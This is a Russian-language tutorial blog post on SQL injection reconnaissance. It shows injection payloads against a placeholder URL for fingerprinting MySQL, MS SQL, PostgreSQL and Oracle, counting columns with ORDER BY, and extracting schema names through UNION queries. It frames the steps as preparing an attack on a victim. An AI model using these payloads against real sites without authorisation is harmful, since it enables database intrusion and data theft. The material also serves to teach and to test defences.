26 апреля, 2024

Как определить используемую базу данных и выполнить общую разведку для увеличения шансов на более успешную атаку

Содержание:

«Знай своего врага» — мудрые слова, которые можно применить ко многим ситуациям, включая взлом баз данных. Нельзя даже думать о начале атаки на систему жертвы без проведения надлежащей разведки. Это касается любого типа атаки и SQL-инъекции — не исключение.

Первая часть этой серии была посвящена основам баз данных, SQL и SQL-инъекций. Мы обеспечили вам фундамент знаний, на который вы уже можете опираться. Теперь мы готовы изучить методы идентификации, используемые на сайтах баз данных, чтобы можно было более эффективно направить атаку. Если вы еще не читали нашу предыдущую статью этой серии, то прежде чем продолжить чтение этой статьи, рекомендуем прочитать ее.

Первоначальное исследование

Прежде чем выполнять какую-либо атаку, сначала нужно протестировать, будет ли приложение уязвимо к SQL-инъекциям. Любое место, где приложение может взаимодействовать с базой данных, потенциально является нашей целью, поэтому важно проверить все поля ввода, чтобы определить, являются ли они уязвимыми.

В качестве первого теста можно использовать одинарную кавычку (‘). Это отличный вариант для начала. Одинарная кавычка используется в SQL для завершения строки и если входные данные не фильтруются должным образом, то, скорее всего, вернется ошибка. Также можно попробовать точку с запятой (;), поскольку она используется для завершения SQL-операторов. Символы комментариев, такие как — и /* */, также могут генерировать ошибки, а также ключевые слова, такие как OR и AND. Другой способ обмануть базу данных и получить ошибку — ввести число туда, где на ввод ожидается строка или наоборот.

Иногда мы можем проверить, уязвима ли веб-страница для SQL-инъекций через параметры URL. Представленный ниже URL-адрес является типичным примером того, как база данных отображает товары или информацию на веб-странице:

http://www.exampleurl.com/product.php?id=4

В этом случае id является параметром, а 4 — его значением. Вот как выглядит такой запрос к базе данных:

SELECT * FROM Products WHERE ProductID = 4;

Как и раньше, мы можем проводить тестирование на уязвимость к инъекциям, используя те же методы, которые используются для полей ввода HTML-форм, и если возникают ошибки, то мы можем с большой долей вероятности утверждать, что инъекция в этой ситуации возможна.

При тестировании на SQL-инъекцию важно понимать приходящие ответы сервера. Чаще всего нам не слишком везет и мы не получаем подробные развернутые сообщения об ошибках, поэтому проверка исходного кода веб-страницы может оказаться полезной. Иногда даже пустая страница, которая возвращается в ответ на наш запрос, является индикатором наличия уязвимости.

Читать также:  Как настроить сервер VPN на Windows 10

Определение базы данных

Существует множество типов систем баз данных, поэтому до начала атаки хорошей идеей будет выяснить, с какими СУБД мы сталкиваемся. Это не только сэкономит нам время и убережет от разочарования, но также это сильно может сузить вектор атаки. Последующие примеры подойдут для определения MySQL, Microsoft SQL Server, PostgreSQL и Oracle Database.

Способ 1. Выполнение запроса к базе данных для получения информации о версии

Первое, что мы можем попробовать — это сделать запрос к базе данных для получения информации об ее версии. Все эти команды встроены в базы данных, так что чаще всего — это самый короткий путь к идентификации. Вот эти инъекции:

  • MySQL: SELECT version()
  • MS SQL: SELECT @@version
  • PostgreSQL: SELECT version()
  • Oracle: SELECT version FROM v$instance or SELECT FROM PRODUCT_COMPONENT_VERSION

Используя предыдущий пример URL’а, вот такая инъекция получится для MySQL и PostgreSQL:

http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20version()

И вот то, что будет передано в базу данных:

SELECT *
FROM Products
WHERE ProductID = 4
UNION
SELECT version();

Для MS SQL:

http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20@@version

И запрос к базе данных будет таким:

SELECT *
FROM Products
WHERE ProductID = 4
UNION
SELECT @@version;

Для Oracle:

http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20version%20FROM%20v$instance

Запрос к базе данных:

SELECT *
FROM Products
WHERE ProductID = 4
UNION
SELECT version
FROM v$instance;

Способ 2. Использование запроса с булевым содержанием

Суть этого способа заключается в том, чтобы попытаться выполнить конкатенацию строк, т.к. разные системы баз данных обрабатывают это действие по-разному. Результат теста достигается путем привязки проверки к булеву значению, т.е. если запрос возвращает нам true, то мы понимаем, что тест сработал. Вот как каждая СУБД обрабатывает конкатенацию строк:

  • MySQL: CONCAT('a','b')
  • MS SQL: 'a' + 'b'
  • PostgreSQL: 'a' || 'b'
  • Oracle: CONCAT('a','b') or 'a' || 'b'

Теперь давайте рассмотрим следующий URL-адрес, где используется запрос к MySQL или Oracle:

http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=CONCAT%28%27a%27%2C%27b%27%29

Ниже приведен результирующий запрос. Если он возвращает true, то вы уже знаете, что имеете дело с Oracle или MySQL.

SELECT *
FROM Products
WHERE ProductID = 4
AND 'ab' = CONCAT('a','b');

Используя приведенный выше пример, вы можете попробовать ту же инъекцию с командой конкатенации строки Oracle, которая также сработает и для PostgreSQL:

http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=%27a%27%20||%20%27b%27

И получившийся запрос выглядит следующим образом. Если он не сработает, а первый Oracle или MySQL — сработал, то можете быть абсолютно уверены, что используемая база данных — это MySQL.

SELECT *
FROM Products
WHERE ProductID = 4
AND 'ab' = 'a' || 'b';

Вот как это выглядело бы для MS SQL:

http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=%27a%27%20+%20%27b%27

И запрос к базе данных:

SELECT *
FROM Products
WHERE ProductID = 4
AND 'ab' = 'a' + 'b';

Способ 3. Анализ полученных сообщений об ошибках

Еще один полезный способ определить базу данных — просто проанализировать сообщения об ошибках, полученные от приложения. MySQL обычно возвращает что-то похожее на вот это:

«Cannot query the database.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near «'» at line 1»

Oracle отобразит символы «ORA», а затем дефис и пятизначное число. Базы данных MS SQL и PostgreSQL не так просто определить, как предыдущие, но поиграв с разными входными данными, можно получить желаемый результат (или, как вариант, погуглить выданную ошибку — это тоже хороший способ, дающий практически 100% результат).

Читать также:  Сравнение лучших антивирусных приложений для Android

Способ 4. Сделайте обоснованное предположение

Наконец, если все остальные способы не сработали, то мы можем, как правило, сделать обоснованное предположение о том, какой тип базы данных использует приложение. Сайты, написанные на PHP, в качестве базы данных чаще всего используют MySQL. Microsoft .Net обычно использует MS SQL. Веб-приложения, написанные на фреймворке Django (Python), часто используют PostgreSQL, т.к. поддержка MySQL для Python слабовата. В свою очередь, Oracle чаще всего используется для приложений, написанных на Java. Как только мы узнаем, с какой базой данных мы работаем, то сбор последующей более детальной информации пройдет намного легче.

Поиск имен таблиц

Чтобы выжать из SQL-инъекции максимум, нам нужно знать, какие таблицы есть в базе данных. Оператор UNION можно использовать для создания поддельного join-запроса с оригинальной таблицей, что позволит нам просматривать данные из других таблиц. Давайте посмотрим на таблицы Users and Admins:

Мы можем использовать следующий запрос, для получения информации из этих таблиц:

SELECT *
FROM Users
WHERE ID = 1
ORDER BY 4;

Первая вещь, которую нужно сделать, чтобы этот запрос был успешным — это определить правильное количество столбцов в таблице, так как инструкции SELECT внутри UNION должны иметь одинаковое количество столбцов. Этого можно достичь с помощью пункта ORDER B. Нам просто нужно постепенно увеличивать число ORDER BY (например, ORDER BY 5, ORDER BY 6 и т.д.) и как только запрос завершится неудачно, то мы можем с уверенностью предположить, какое количество столбцов есть в таблице.

Затем нам нужно определить тип данных каждого столбца. Это можно сделать методом проб и ошибок с использованием null-значений. Используя предыдущие таблицы, мы можем начать с угадывания типа данных первого столбца:

SELECT *
FROM Users
UNION
SELECT 1
,null
,null
,null--

Мы знаем, что всего есть четыре столбца, поэтому мы можем попробовать целое число (integer) в первом столбце, за которым следуют три null-значения (часто первый столбец — это идентификатор ID, поэтому имеет смысл попробовать сначала целое число). Если запрос прошел успешно, то мы можем предположить, что определили правильный тип данных и переходим дальше к следующему столбцу:

SELECT *
FROM Users
UNION
SELECT 1
,'x'
,null
,null--

«x» в кавычках обозначает строку (String). Как только запрос пройдет успешно, мы сможем использовать эту же схему для определения типа данных для остальных столбцов таблицы.

Читать также:  Полезные сервисы для проведения схем в сети

Получение информации о схеме базы данных

Большинство баз данных также имеют встроенные таблицы, содержащие информацию о схеме базы данных и метаданные, относящиеся к другим таблицам в системе. Мы можем использовать инъекцию на основе UNION для извлечения этих данных. MySQL, MS SQL и PostgreSQL используют таблицу informationschema.tables, которая содержит столбцы table_name и table_schema. Таким образом, инъекция может выглядеть примерно так:

SELECT ID
,Name
FROM Users
UNION
SELECT table_name
,table_schema
FROM information_schema.tables--

Oracle использует несколько иное соглашение об именах, но идея та же самая:

SELECT ID
,Name
FROM Users
UNION
SELECT table_name
,owner
FROM all_tables--

Как видите, SQL-инъекция на основе UNION может отображать довольно много информации о других таблицах в базе данных.

Оставайтесь с нами для получения дополнительной информации о SQL-инъекциях

Сбор информации — один из самых важных шагов для эффективного пентестинга и взлома. После того, как мы рассмотрели методы определения основной информации о базе данных, мы можем перейти к методикам применения SQL-инъекций. Поэтому следите за обновлениями, так как в ближайшем будущем у нас будет новый курс по SQL-инъекциям.

Если у вас есть вопросы или комментарии — обязательно оставляйте их внизу. Рекомендуем также просмотреть наши предыдущие статьи по SQL-инъекциям.

Добавить комментарий